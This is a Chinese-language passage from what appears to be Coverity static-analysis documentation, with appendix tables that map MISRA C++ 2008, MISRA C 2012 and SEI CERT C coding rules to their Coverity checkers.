规则 16-3-1	宏替换	在单个宏定义中，# 或 ## 运算符最多只应出现一次。	必需	MISRA C++-2008 规则 16-3-1
规则 16-3-2	宏替换	不应使用 # 和 ## 运算符。	建议	MISRA C++-2008 规则 16-3-2
规则 16-6-1	Pragma 指令	应该记录对 #pragma 指令的所有使用情况。	文档	
规则 17-0-1	常规	不应定义、重新定义或取消定义标准库中的保留标识符、宏和函数。	必需	MISRA C++-2008 规则 17-0-1
规则 17-0-2	常规	标准库宏和对象的名称不应再次使用。	必需	MISRA C++-2008 规则 17-0-2
规则 17-0-3	常规	不应覆盖标准库函数的名称。	必需	MISRA C++-2008 规则 17-0-3
规则 17-0-4	常规	所有库代码都应符合 MISRA C++。	文档	
规则 17-0-5	常规	不应使用 setjmp 宏和 longjmp 函数。	必需	MISRA C++-2008 规则 17-0-5
规则 18-0-1	常规	具有相应 C 兼容库的 C++ 库必须使用 C++ 版本。	必需	MISRA C++-2008 规则 18-0-1
规则 18-0-2	常规	不应使用来自库 <cstdlib> 中的库函数 atof、atoi 和 atol。	必需	MISRA C++-2008 规则 18-0-2
规则 18-0-3	常规	不应使用来自库 <cstdlib> 中的库函数 abort、exit、getenv 和 system。	必需	MISRA C++-2008 规则 18-0-3
规则 18-0-4	常规	不应使用库 <ctime> 的时间处理函数。	必需	MISRA C++-2008 规则 18-0-4

规则	摘要	说明	默认类别	相关 Coverity 检查器
规则 18-0-5	常规	不应使用库 <code>&lt;cstring&gt;</code> 的无边界函数。	必需	MISRA C++-2008 规则 18-0-5
规则 18-2-1	实现属性。	不应使用宏 <code>offsetof</code> 。	必需	MISRA C++-2008 规则 18-2-1
规则 18-4-1	动态内存管理	不应使用动态堆内存分配。	必需	MISRA C++-2008 规则 18-4-1
规则 18-7-1	其他运行时支持	不应使用 <code>&lt;csignal&gt;</code> 的信号处理设施。	必需	MISRA C++-2008 规则 18-7-1
规则 19-3-1	错误编号	不应使用错误指示器 <code>errno</code> 。	必需	MISRA C++-2008 规则 19-3-1
规则 27-0-1	常规	不应使用数据流输入/输出库 <code>&lt;cstdio&gt;</code> 。	必需	MISRA C++-2008 规则 27-0-1

## E.4. MISRA C 2012

Table E.3. MISRA C 2012

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
指令 1.1	指令	应该记录并了解程序输出依赖的任何实现定义行为。	必需	
指令 2.1	指令	所有源文件应该在没有任何编译错误的情况下编译。	必需	
指令 3.1	指令	所有代码都必须能按照记录的要求进行跟踪。	必需	
指令 4.1	指令	应该最大限度减少运行时失败。	必需	
指令 4.2	指令	应该记录所有使用汇编语言的情况。	建议	
指令 4.3	指令	应该独立封装汇编语言。	必需	MISRA C-2012 指令 4.3
指令 4.4	指令	不应将代码段“注释掉”。	建议	MISRA C-2012 指令 4.4
指令 4.5	指令	同一命名空间中发生重叠的标识符在	建议	MISRA C-2012 指令 4.5

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
		排字上应该清楚明 确。		
指令 4.6	指令	应该使用指示大小 和符号的 <code>typedef</code> 代 替基本数值类型。	建议	MISRA C-2012 指 令 4.6
指令 4.7	指令	如果函数返回了错 误信息，则应该测 试该错误信息。	必需	MISRA C-2012 指 令 4.7
指令 4.8	指令	如果结构或联合的 指针在编译单元内 从未被解引用，则 应该隐藏该对象的 实现。	建议	MISRA C-2012 指 令 4.8
指令 4.9	指令	如果函数和类似于 函数的宏可互换， 则应优先使用函 数。	建议	MISRA C-2012 指 令 4.9
指令 4.10	指令	应注意防止头文件 的内容出现多次。	必需	MISRA C-2012 指 令 4.10
指令 4.11	指令	应该检查传递给库 函数的值的有效 性。	必需	MISRA C-2012 指 令 4.11
指令 4.12	指令	不应使用动态内存 分配。	必需	MISRA C-2012 指 令 4.12
指令 4.13	指令	应该按正确的顺序 调用专门针对资源 操作的函数。	建议	MISRA C-2012 指 令 4.13
指令 4.14	指令	应该检查从外部源 接收的值的有效 性。	必需	MISRA C-2012 指 令 4.14
规则 1.1	规则	程序不应包含任何 违反标准 C 语法和 约束的情况，并且 不应超出实现的转 换限制。	必需	MISRA C-2012 规 则 1.1
规则 1.2	规则	不应使用语言扩 展。	建议	MISRA C-2012 规 则 1.2
规则 1.3	规则	不应出现不确定行 为或关键未指定行 为。	必需	

## MISRA 规则和指令

---

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
规则 1.4	规则	不应使用紧急语言功能。	必需	MISRA C-2012 规则 1.4
规则 2.1	规则	项目不应包含无法到达的代码。	必需	MISRA C-2012 规则 2.1
规则 2.2	规则	不应存在无用代码。	必需	MISRA C-2012 规则 2.2
规则 2.3	规则	项目不应包含未使用的类型声明。	建议	MISRA C-2012 规则 2.3
规则 2.4	规则	项目不应包含未使用的标记声明。	建议	MISRA C-2012 规则 2.4
规则 2.5	规则	项目不应包含未使用的宏声明。	建议	MISRA C-2012 规则 2.5
规则 2.6	规则	函数不应包含未使用的标签声明。	建议	MISRA C-2012 规则 2.6
规则 2.7	规则	函数中不应存在未使用的参数。	建议	MISRA C-2012 规则 2.7
规则 3.1	规则	不应在注释中使用字符序列 /* 和 //。	必需	MISRA C-2012 规则 3.1
规则 3.2	规则	不应在 // 注释中使用行合并。	必需	MISRA C-2012 规则 3.2
规则 4.1	规则	应该终止八进制和十六进制转义序列。	必需	MISRA C-2012 规则 4.1
规则 4.2	规则	不应使用三字符组。	建议	MISRA C-2012 规则 4.2
规则 5.1	规则	外部标识符应该是不同的。	必需	MISRA C-2012 规则 5.1
规则 5.2	规则	在同一范围和命名空间中声明的标识符应该是不同的。	必需	MISRA C-2012 规则 5.2
规则 5.3	规则	在内部范围中声明的标识符不应隐藏在外部范围中声明的标识符。	必需	MISRA C-2012 规则 5.3
规则 5.4	规则	宏标识符应该是不同的。	必需	MISRA C-2012 规则 5.4
规则 5.5	规则	标识符应该不同于宏名称。	必需	MISRA C-2012 规则 5.5

## MISRA 规则和指令

---

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
规则 5.6	规则	typedef 名称应是唯一的标识符。	必需	MISRA C-2012 规则 5.6
规则 5.7	规则	标记名称应是唯一的标识符。	必需	MISRA C-2012 规则 5.7
规则 5.8	规则	使用外部链接定义对象或函数的标识符应该唯一。	必需	MISRA C-2012 规则 5.8
规则 5.9	规则	使用内部链接定义对象或函数的标识符应该唯一。	建议	MISRA C-2012 规则 5.9
规则 6.1	规则	位域只应通过适当的类型声明。	必需	MISRA C-2012 规则 6.1
规则 6.2	规则	单个位已命名位域不应是带符号的类型。	必需	MISRA C-2012 规则 6.2
规则 7.1	规则	不应使用八进制常量。	必需	MISRA C-2012 规则 7.1
规则 7.2	规则	应对无符号类型中表示的所有整数常量应用“u”或“U”后缀。	必需	MISRA C-2012 规则 7.2
规则 7.3	规则	不应在常量后缀中使用小写字符“l”。	必需	MISRA C-2012 规则 7.3
规则 7.4	规则	不应为对象赋值字符串常量，除非该对象的类型为“const-qualified char 指针”。	必需	MISRA C-2012 规则 7.4
规则 8.1	规则	应显式指定类型。	必需	MISRA C-2012 规则 8.1
规则 8.2	规则	函数类型应采用命名参数的原型形式。	必需	MISRA C-2012 规则 8.2
规则 8.3	规则	对象或函数的所有声明都应使用相同的名称和类型限定符。	必需	MISRA C-2012 规则 8.3
规则 8.4	规则	当使用外部链接定义对象或函数时，	必需	MISRA C-2012 规则 8.4

## MISRA 规则和指令

---

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
		兼容声明应该可见。		
规则 8.5	规则	外部对象或函数应在一个且只应在 一个文件中声明一次。	必需	MISRA C-2012 规 则 8.5
规则 8.6	规则	包含外部链接的标 识符应只具有一个 外部定义。	必需	MISRA C-2012 规 则 8.6
规则 8.7	规则	如果函数或对象只 在一个编译单元中 引用，则不应该使 用外部链接定义该 函数或对象。	建议	MISRA C-2012 规 则 8.7
规则 8.8	规则	应在包含内部链接 的对象和函数的所 有声明中使用静态 存储类说明符。	必需	MISRA C-2012 规 则 8.8
规则 8.9	规则	如果对象的标识符 只出现在一个函数 中，则应该在块范 围内定义该对象。	建议	MISRA C-2012 规 则 8.9
规则 8.10	规则	内联函数应该通过 静态存储类声明。	必需	MISRA C-2012 规 则 8.10
规则 8.11	规则	在声明具有外部链 接的数组时，应显 式指定其大小。	建议	MISRA C-2012 规 则 8.11
规则 8.12	规则	在枚举器列表中， 隐式指定的枚举常 量的值应该唯一。	必需	MISRA C-2012 规 则 8.12
规则 8.13	规则	指针应尽量指向 const-qualified 类 型。	建议	MISRA C-2012 规 则 8.13
规则 8.14	规则	不应使用限制类型 限定符。	必需	MISRA C-2012 规 则 8.14
规则 9.1	规则	不应在设置具有自 动存储期的对象的 值之前读取该值。	强制	MISRA C-2012 规 则 9.1

## MISRA 规则和指令

---

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
规则 9.2	规则	聚合或联合的初始化器应使用大括号括起。	必需	MISRA C-2012 规则 9.2
规则 9.3	规则	不应将数组部分初始化。	必需	MISRA C-2012 规则 9.3
规则 9.4	规则	对象的元素不应多次初始化。	必需	MISRA C-2012 规则 9.4
规则 9.5	规则	使用指定的初始化器对数组对象执行初始化时，应显式指定数组的大小。	必需	MISRA C-2012 规则 9.5
规则 10.1	规则	操作数的类型不应是不恰当的基本类型。	必需	MISRA C-2012 规则 10.1
规则 10.2	规则	不应在加法和减法运算中通过不当的方式使用基本字符类型的表达式。	必需	MISRA C-2012 规则 10.2
规则 10.3	规则	不应将表达式的值赋值给为较窄的基本类型或不同基本类型类别的对象。	必需	MISRA C-2012 规则 10.3
规则 10.4	规则	对运算符的两个操作数执行常用算术转换应该具有相同的基本类型类别。	必需	MISRA C-2012 规则 10.4
规则 10.5	规则	不应将表达式的值转换为不适当的基本类型。	建议	MISRA C-2012 规则 10.5
规则 10.6	规则	不应将复合表达式的值赋值给具有较宽基本类型的对象。	必需	MISRA C-2012 规则 10.6
规则 10.7	规则	在常用算术转换中如果将复合表达式用作运算符的一个操作数，则另一个操作数不应具有较宽的基础类型。	必需	MISRA C-2012 规则 10.7
规则 10.8	规则	不应将复合表达式的值转换为不同的	必需	MISRA C-2012 规则 10.8

## MISRA 规则和指令

---

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
		基本类型类别或较宽的基本类型。		
规则 11.1	规则	指向函数的指针不应转换为任何其他类型。	必需	MISRA C-2012 规则 11.1
规则 11.2	规则	指向不完整类型的指针不应转换为任何其他类型。	必需	MISRA C-2012 规则 11.2
规则 11.3	规则	指向对象类型的指针不应转换为指向不同对象类型的指针。	必需	MISRA C-2012 规则 11.3
规则 11.4	规则	指向对象的指针不应转换为整数类型。	建议	MISRA C-2012 规则 11.4
规则 11.5	规则	指向 void 的指针不应转换为指向对象的指针。	建议	MISRA C-2012 规则 11.5
规则 11.6	规则	指向 void 的指针不应转换为算术运算类型。	必需	MISRA C-2012 规则 11.6
规则 11.7	规则	指向对象的指针不应转换为非整数算术运算类型。	必需	MISRA C-2012 规则 11.7
规则 11.8	规则	指针所指向类型的转换不应移除任何常量或易失性属性。	必需	MISRA C-2012 规则 11.8
规则 11.9	规则	宏 NULL 应该是唯一允许的整数 null 指针常量形式。	必需	MISRA C-2012 规则 11.9
规则 12.1	规则	应显式设置运算符在表达式内的优先级。	建议	MISRA C-2012 规则 12.1
规则 12.2	规则	移位运算符的右操作数应介于零和左操作数基本类型的位宽度之间。	必需	MISRA C-2012 规则 12.2
规则 12.3	规则	不应使用逗号运算符。	建议	MISRA C-2012 规则 12.3

## MISRA 规则和指令

---

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
规则 12.4	规则	常量表达式的评估不应导致无符号的整数溢出。	建议	MISRA C-2012 规则 12.4
规则 12.5	规则	sizeof 运算符的操作数不应是声明为“类型数组”的函数参数。	强制	MISRA C-2012 规则 12.5
规则 13.1	规则	初始化器列表不应包含持久的其他作用。	必需	MISRA C-2012 规则 13.1
规则 13.2	规则	在所有允许的评估顺序中表达式的值及其持久的其他作用应该保持相同。	必需	MISRA C-2012 规则 13.2
规则 13.3	规则	包含递增 (++) 或递减 (--) 运算符的完整表达式不应包含了除了递增或递减运算符导致的影响之外的其他潜在作用。	建议	MISRA C-2012 规则 13.3
规则 13.4	规则	不应使用赋值运算符的结果。	建议	MISRA C-2012 规则 13.4
规则 13.5	规则	逻辑运算符 && 或    的右操作数不应包含持久的其他作用。	必需	MISRA C-2012 规则 13.5
规则 13.6	规则	sizeof 运算符的操作数不应包含具有潜在其他作用的任何表达式。	强制	MISRA C-2012 规则 13.6
规则 14.1	规则	循环计数器不应具有基本的浮点类型。	必需	MISRA C-2012 规则 14.1
规则 14.2	规则	for 循环应该符合语法。	必需	MISRA C-2012 规则 14.2
规则 14.3	规则	控制表达式不应是不变量。	必需	MISRA C-2012 规则 14.3
规则 14.4	规则	if 语句的控制表达式和迭代语句的控制表达式应该具有基本的布尔类型。	必需	MISRA C-2012 规则 14.4

## MISRA 规则和指令

---

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
规则 15.1	规则	不应使用 goto 语句。	建议	MISRA C-2012 规则 15.1
规则 15.2	规则	goto 语句应跳转到在同一函数后半部分中声明的标签。	必需	MISRA C-2012 规则 15.2
规则 15.3	规则	goto 语句引用的任何标签都应在同一大代码块或包括该 goto 语句的任何代码块中声明。	必需	MISRA C-2012 规则 15.3
规则 15.4	规则	用于结束任何迭代语句的 break 或 goto 语句不应超过一个。	建议	MISRA C-2012 规则 15.4
规则 15.5	规则	函数在结束处应该只有唯一的退出点。	建议	MISRA C-2012 规则 15.5
规则 15.6	规则	迭代语句或选择语句的主体应该是复合语句。	必需	MISRA C-2012 规则 15.6
规则 15.7	规则	所有 if ... else if 结构应以 else 语句结束。	必需	MISRA C-2012 规则 15.7
规则 16.1	规则	所有 switch 语句都应该符合语法。	必需	MISRA C-2012 规则 16.1
规则 16.2	规则	switch 标签只应在最里层的复合语句是 switch 语句的主体时使用。	必需	MISRA C-2012 规则 16.2
规则 16.3	规则	无条件的 break 语句应该终止每一个 switch 子句。	必需	MISRA C-2012 规则 16.3
规则 16.4	规则	每个 switch 语句都应具有默认标签。	必需	MISRA C-2012 规则 16.4
规则 16.5	规则	默认标签应显示为 switch 语句的第一个或最后一个 switch 标签。	必需	MISRA C-2012 规则 16.5

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
规则 16.6	规则	每个 switch 语句都应该至少具有两个 switch 子句。	必需	MISRA C-2012 规则 16.6
规则 16.7	规则	switch 表达式不应具有基本的布尔类型。	必需	MISRA C-2012 规则 16.7
规则 17.1	规则	不应使用 <stdarg.h> 的功能。	必需	MISRA C-2012 规则 17.1
规则 17.2	规则	函数不应直接或间接调用自身。	必需	MISRA C-2012 规则 17.2
规则 17.3	规则	不应隐式声明函数。	强制	MISRA C-2012 规则 17.3
规则 17.4	规则	返回非 void 类型的函数的所有退出路径都应具有包含表达式的显式返回语句。	强制	MISRA C-2012 规则 17.4
规则 17.5	规则	被声明为具有数组类型的参数对应的函数参数应该具有适当数量的元素。	建议	MISRA C-2012 规则 17.5
规则 17.6	规则	数组参数的声明不应在 [] 之间包含 static 关键字。	强制	MISRA C-2012 规则 17.6
规则 17.7	规则	应使用由返回非 void 类型的函数返回的值。	必需	MISRA C-2012 规则 17.7
规则 17.8	规则	不应修改函数参数。	建议	MISRA C-2012 规则 17.8
规则 18.1	规则	通过针对指针操作数的算术运算获得的指针应该将同一数组的元素作为指针操作数。	必需	MISRA C-2012 规则 18.1
规则 18.2	规则	指针之间的减法运算只应该应用到访问同一数组的元素的指针。	必需	MISRA C-2012 规则 18.2

## MISRA 规则和指令

---

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
规则 18.3	规则	只应对指向同一对象的指针应用关系运算符 >、>=、< 和 <=。	必需	MISRA C-2012 规则 18.3
规则 18.4	规则	不应对指针类型的表达式应用 +、-、+= 和 -= 运算符。	建议	MISRA C-2012 规则 18.4
规则 18.5	规则	声明不应包含超过两级的指针嵌套。	建议	MISRA C-2012 规则 18.5
规则 18.6	规则	在第一个对象消失后不应将自动存储对象的地址拷贝给另一个可能仍然存在的对象。	必需	MISRA C-2012 规则 18.6
规则 18.7	规则	不应声明可变的数据成员。	必需	MISRA C-2012 规则 18.7
规则 18.8	规则	不应使用可变长度数组类型。	必需	MISRA C-2012 规则 18.8
规则 19.1	规则	不应将对象分配或拷贝给重叠的对象。	强制	MISRA C-2012 规则 19.1
规则 19.2	规则	不应使用 union 关键字。	建议	MISRA C-2012 规则 19.2
规则 20.1	规则	#include 指令之前只能包含其他预处理器指令或注释。	建议	MISRA C-2012 规则 20.1
规则 20.2	规则	'、" 或 \ 字符以及 / * 或 // 字符序列不应出现在头文件名称中。	必需	MISRA C-2012 规则 20.2
规则 20.3		#include 指令应后接 <filename> 或“filename”序列。	必需	MISRA C-2012 规则 20.3
规则 20.4	规则	不应将关键字定义为宏的名称。	必需	MISRA C-2012 规则 20.4
规则 20.5	规则	不应使用 #undef。	建议	MISRA C-2012 规则 20.5

## MISRA 规则和指令

---

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
规则 20.6	规则	类似于预处理指令的标识符不应出现在宏参数中。	必需	MISRA C-2012 规则 20.6
规则 20.7	规则	通过扩展宏参数得到的表达式应使用圆括号括起。	必需	MISRA C-2012 规则 20.7
规则 20.8	规则	#if 或 #elif 预处理指令的控制表达式的值应评估为 0 或 1。	必需	MISRA C-2012 规则 20.8
规则 20.9	规则	#if 或 #elif 预处理指令的控制表达式中使用的所有标识符应该在评估之前使用 #define 定义。	必需	MISRA C-2012 规则 20.9
规则 20.10	规则	不应使用 # 和 ## 预处理器运算符。	建议	MISRA C-2012 规则 20.10
规则 20.11	规则	后面紧接 # 运算符的宏参数后面不应紧接 ## 运算符。	必需	MISRA C-2012 规则 20.11
规则 20.12	规则	用作 # 或 ## 运算符的操作数的宏参数（本身要接受进一步的宏替换）只应用作这些运算符的操作数。	必需	MISRA C-2012 规则 20.12
规则 20.13	规则	第一个标识符为 # 的行应该是有效的预处理指令。	必需	MISRA C-2012 规则 20.13
规则 20.14	规则	所有 #else、#elif 和 #endif 预处理器指令都应和相关的 #if、#ifdef 或 #ifndef 指令处在同一文件中。	必需	MISRA C-2012 规则 20.14
规则 21.1	规则	不应将 #define 和 #undef 用于保留的标识符或保留的宏名称。	必需	MISRA C-2012 规则 21.1
规则 21.2	规则	不应声明保留的标识符或宏名称。	必需	MISRA C-2012 规则 21.2

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
规则 21.3	规则	不应使用 <code>&lt;stdlib.h&gt;</code> 的内存分配和重新分配函数。	必需	MISRA C-2012 规则 21.3
规则 21.4	规则	不应使用标准头文件 <code>&lt;setjmp.h&gt;</code> 。	必需	MISRA C-2012 规则 21.4
规则 21.5	规则	不应使用标准头文件 <code>&lt;signal.h&gt;</code> 。	必需	MISRA C-2012 规则 21.5
规则 21.6	规则	不应使用标准库输入/输出函数。	必需	MISRA C-2012 规则 21.6
规则 21.7	规则	不应使用 <code>&lt;stdlib.h&gt;</code> 的标准库函数 <code>atof</code> 、 <code>atoi</code> 、 <code>atol</code> 和 <code>atoll</code> 。	必需	MISRA C-2012 规则 21.7
规则 21.8	规则	不应使用 <code>&lt;stdlib.h&gt;</code> 的标准库终止函数。	必需	MISRA C-2012 规则 21.8
规则 21.9	规则	不应使用 <code>&lt;stdlib.h&gt;</code> 的标准库函数 <code>bsearch</code> 和 <code>qsort</code> 。	必需	MISRA C-2012 规则 21.9
规则 21.10	规则	不应使用标准库时间和日期函数。	必需	MISRA C-2012 规则 21.10
规则 21.11	规则	不应使用标准头文件 <code>&lt;tgmath.h&gt;</code> 。	必需	MISRA C-2012 规则 21.11
规则 21.12	规则	不应使用 <code>&lt;fenv.h&gt;</code> 的异常处理功能。	建议	MISRA C-2012 规则 21.12
规则 21.13	规则	在 <code>&lt;ctype.h&gt;</code> 中传递给函数的任何值都应表示为无符号的 <code>char</code> 或者值 <code>EOF</code> 。	强制	MISRA C-2012 规则 21.13
规则 21.14	规则	不应使用标准库函数 <code>memcmp</code> 与以 <code>null</code> 终止的字符串进行比较。	必需	MISRA C-2012 规则 21.14
规则 21.15	规则	标准库函数 <code>memcpy</code> 、 <code>memmove</code> 和 <code>memcmp</code> 的指针参数应该是指向兼容类型的合格或不合格版本的指针。	必需	MISRA C-2012 规则 21.15

## MISRA 规则和指令

---

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
规则 21.16	规则	标准库函数 memcmp 的指针参数应该指向指针类型、本质上带符号类型、本质上无符号类型、本质上布尔类型或者本质上枚举类型。	必需	MISRA C-2012 规则 21.16
规则 21.17	规则	使用来自 <string.h> 的字符串处理函数不应导致访问超出它们的指针参数引用的对象范围。	强制	MISRA C-2012 规则 21.17
规则 21.18	规则	传递给 <string.h> 中的任何函数的 size_t 参数都应有一个适当的值。	强制	MISRA C-2012 规则 21.18
规则 21.19	规则	只应将标准库函数 localeconv、getenv、或 strerror 返回的指针用作它们好像具有指向 const-qualified 类型的指针。	强制 setlocale	MISRA C-2012 规则 21.19
规则 21.20	规则	标准库函数 asctime、ctime、gmtime、localtime、localeconv、getenv、setlocale 或 strerror 返回的指针不应后接调用相同函数的后续调用。	强制	MISRA C-2012 规则 21.20
规则 21.21	规则	不应使用 <stdlib.h> 的标准库函数系统。	必需	MISRA C-2012 规则 21.21
规则 22.1	规则	应显式释放通过标准库函数动态获取的所有资源。	必需	MISRA C-2012 规则 22.1
规则 22.2	规则	内存块只应在通过标准库函数分配的情况下释放。	强制	MISRA C-2012 规则 22.2
规则 22.3	规则	同一文件在不同的数据流中不应同时	必需	MISRA C-2012 规则 22.3

## MISRA 规则和指令

---

规则/指令	摘要	说明	默认类别	相关 Coverity 检查器
		以读取和写入权限打开。		
规则 22.4	规则	不应尝试写入以只读方式打开的数据流。	强制	MISRA C-2012 规则 22.4
规则 22.5	规则	不应解引用 FILE 对象的指针。	强制	MISRA C-2012 规则 22.5
规则 22.6	规则	FILE 指针的值不应在关联数据流已关闭后使用。	强制	MISRA C-2012 规则 22.6
规则 22.7	规则	宏 EOF 只应与能够返回 EOF 的任何标准库函数的未修改返回值进行比较。	必需	MISRA C-2012 规则 22.7
规则 22.8	规则	在调用 errno-setting-function 之前，应将 errno 的值设置为零。	必需	MISRA C-2012 规则 22.8
规则 22.9	规则	在调用 errno-setting-function 之后，应测试 errno 的值是否为零。	必需	MISRA C-2012 规则 22.9
规则 22.10	规则	仅当要调用的最后一个函数为 errno-setting-function 时，才应测试 errno 的值。	必需	MISRA C-2012 规则 22.10

---

## Appendix F. SEI CERT 规则

### Table of Contents

F.1. 概述 .....	1091
F.2. SEI CERT C 编码标准 .....	1091
F.3. SEI CERT C++ 规则 .....	1099
F.4. SEI CERT Java 编码标准 .....	1104

### F.1. 概述

Coverity Analysis 可以识别违反下表中所列的 SEI CERT 规则的情况。

要运行 SEI CERT 分析，您必须将 `--coding-standard-config` [选项](#) 传递给 `cov-analyze`。请参阅《Coverity Analysis 用户和管理员指南 [指南](#)》（“运行编码标准分析”），获取进一步的指导。

### F.2. SEI CERT C 编码标准

#### F.2.1. SEI CERT C 规则

Table F.1. SEI CERT C 规则

名称	说明	Coverity 检查器	版本
ARR30-C	不要形成或使用出界指针或数组下标。	CERT ARR30-C	
ARR32-C	确保变量长度数组的大小参数在有效范围内。	CERT ARR32-C	
ARR36-C	不要对两个不指向同一个数组的指针执行相减或比较运算。	CERT ARR36-C	
ARR37-C	不要对指向非数组对象的指针加减整数。	CERT ARR37-C	
ARR38-C	保证库函数不会形成无效指针。	CERT ARR38-C	
ARR39-C	不要对指针加减经过尺度转换的整数。	CERT ARR39-C	
CON30-C	清理线程特定的存储。	CERT CON30-C	
CON31-C	不要销毁锁定的互斥锁。	CERT CON31-C	
CON32-C	当从多个线程访问位字段时阻止数据竞争。	CERT CON32-C	
CON33-C	使用库函数时避免竞态条件。	CERT CON33-C	

名称	说明	Coverity 检查器	版本
CON34-C	声明在具有适当存储持续时间的线程之间共享的对象。	CERT CON34-C	
CON35-C	通过按预定义的顺序锁定来避免死锁。	CERT CON35-C	
CON36-C	封装可以在循环中虚假醒来的函数。	CERT CON36-C	
CON37-C	不要在多线程程序中调用 signal()。	CERT CON37-C	
CON38-C	使用条件变量时保持线程的安全和活性。	CERT CON38-C	
CON39-C	不要合并或分离以前曾合并或分离的线程。	CERT CON39-C	
CON40-C	不要两次引用表达式中的同一个原子变量。	CERT CON40-C	
CON41-C	封装可以在循环中虚假失败的函数。	CERT CON41-C	
DCL30-C	声明具有适当存储持续时间的对象。	CERT DCL30-C	
DCL31-C	在使用标识符之前先声明标识符。	CERT DCL31-C	
DCL36-C	不要声明具有冲突的链接分类的标识符。	CERT DCL36-C	
DCL37-C	不要声明或定义保留的标识符。	CERT DCL37-C	
DCL38-C	在声明可变数组成员时使用正确的语法。	CERT DCL38-C	
DCL39-C	避免在跨信任边界传递结构时出现信息泄露。	CERT DCL39-C	
DCL40-C	不要对相同的函数或对象创建不一致的声明。	CERT DCL40-C	
DCL41-C	不要在第一个 case 标签之前的 switch 语句中声明变量。	CERT DCL41-C	
ENV30-C	不要修改某些函数的返回值引用的对象。	CERT ENV30-C	
ENV31-C	不要在可能使环境指针无效的操作之后依靠环境指针。	CERT ENV31-C	

名称	说明	Coverity 检查器	版本
ENV32-C	所有 exit 处理程序必须正常返回。	CERT ENV32-C	
ENV33-C	不要调用 system()。	CERT ENV33-C	
ENV34-C	不要存储某些函数返回的指针。	CERT ENV34-C	
ERR30-C	在调用已知会设置 errno 的库函数之前，将 errno 设置为零，并且仅在函数返回值指示失败之后检查 errno。	CERT ERR30-C	
ERR32-C	不要依靠 errno 的不确定值。	CERT ERR32-C	
ERR33-C	删除并处理标准库错误。	CERT ERR33-C	
ERR34-C	在将字符串转换为数字时检测错误。	CERT ERR34-C	v.136
EXP30-C	不要依靠评估顺序来查找其他作用。	CERT EXP30-C	
EXP32-C	不要通过非易失性引用来访问易失性对象。	CERT EXP32-C	
EXP33-C	不要读取未初始化的内存。	CERT EXP33-C	
EXP34-C	不要解引用 null 指针。	CERT EXP34-C	
EXP35-C	不要修改具有临时生命周期的对象。	CERT EXP35-C	
EXP36-C	不要将指针转换为更严格的对齐指针类型。	CERT EXP36-C	
EXP37-C	使用正确的数字和参数类型来调用函数。	CERT EXP37-C	
EXP39-C	不要通过不兼容类型的指针来访问变量。	CERT EXP39-C	
EXP40-C	不要修改常量对象。	CERT EXP40-C	
EXP42-C	不要比较 padding 数据。	CERT EXP42-C	
EXP43-C	使用限定资格的指针时应避免未定义的行为。	CERT EXP43-C	
EXP44-C	不要在 sizeof、_Alignof 或 _Generic 的操作数中依靠其他作用。	CERT EXP44-C	
EXP45-C	不要在 selection 语句中执行赋值。	CERT EXP45-C	

名称	说明	Coverity 检查器	版本
EXP46-C	不要将位运算符与类似于布尔的操作数一起使用。	CERT EXP46-C	
EXP47-C	不要使用类型不正确的参数调用 va_arg。	CERT EXP47-C	v.19
FIO30-C	从格式化字符串中排除用户输入。	CERT FIO30-C	
FIO32-C	不要在设备上执行仅适用于文件的操作。	CERT FIO32-C	
FIO34-C	区分从文件和 EOF 或 WEOF 读取的字符。	CERT FIO34-C	
FIO37-C	不要假设 fgets() 或 fgetws() 在成功时返回非空字符串。	CERT FIO37-C	
FIO38-C	不要复制 FILE 对象。	CERT FIO38-C	
FIO39-C	不要在未插入中间 flush 或定位调用的情况下直接从流中交替进行输入输出。	CERT FIO39-C	
FIO40-C	在 fgets() 或 fgetws() 失败时重置字符串。	CERT FIO40-C	
FIO41-C	不要使用包含其他作用的流参数调用 getc()、putc()、getwc() 或 putwc()。	CERT FIO41-C	
FIO42-C	关闭不再需要的文件。	CERT FIO42-C	
FIO44-C	仅对从 fgetpos() 返回的 fsetpos() 使用值。	CERT FIO44-C	
FIO45-C	避免访问文件时出现 TOCTOU 竞态条件。	CERT FIO45-C	
FIO46-C	不要访问关闭的文件。	CERT FIO46-C	
FIO47-C	使用有效的格式化字符串。	CERT FIO47-C	
FLP30-C	不要使用浮点变量作为循环计数器。	CERT FLP30-C	
FLP32-C	阻止或发现数学函数中的域和范围错误。	CERT FLP32-C	
FLP34-C	确保浮点转换在新类型范围内。	CERT FLP34-C	

名称	说明	Coverity 检查器	版本
FLP36-C	在将整数值转换为浮点类型时保留精确度。	CERT FLP36-C	
FLP37-C	不要使用对象表示法来比较浮点值。	CERT FLP37-C	
INT30-C	确保无符号的整数运算不会封装。	CERT INT30-C	
INT31-C	确保整数转换不会导致数据丢失或误释。	CERT INT31-C	
INT32-C	确保对有符号整数的操作不会导致溢出。	CERT INT32-C	
INT33-C	确保除法和余数运算不会导致“被零除”错误。	CERT INT33-C	
INT34-C	不要通过负的位数或者大于或等于操作数中存在的位数来移位表达式。	CERT INT34-C	
INT35-C	使用正确的整数精度。	CERT INT35-C	
INT36-C	将指针转换为整数或将整数转换为指针。	CERT INT36-C	
MEM30-C	不要访问被释放的内存。	CERT MEM30-C	
MEM31-C	不再需要时释放动态分配的内存。	CERT MEM31-C	
MEM33-C	动态分配和复制包含可变数组成员的结构。	CERT MEM33-C	
MEM34-C	仅释放动态分配的内存。	CERT MEM34-C	
MEM35-C	为对象分配足够的内存。	CERT MEM35-C	
MEM36-C	不要通过调用 realloc() 来修改对象的对齐。	CERT MEM36-C	
MSC30-C	不要使用 rand() 函数生成伪随机数。	CERT MSC30-C	
MSC32-C	正确 seed 伪随机数生成器。	CERT MSC32-C	
MSC33-C	不要将无效的数据传递给 asctime() 函数。	CERT MSC33-C	
MSC37-C	确保控制绝不会到达非 void 函数的末尾。	CERT MSC37-C	
MSC38-C	如果预定义的标识符仅可能作为宏来执行，不要将其作为对象来执行。	CERT MSC38-C	

名称	说明	Coverity 检查器	版本
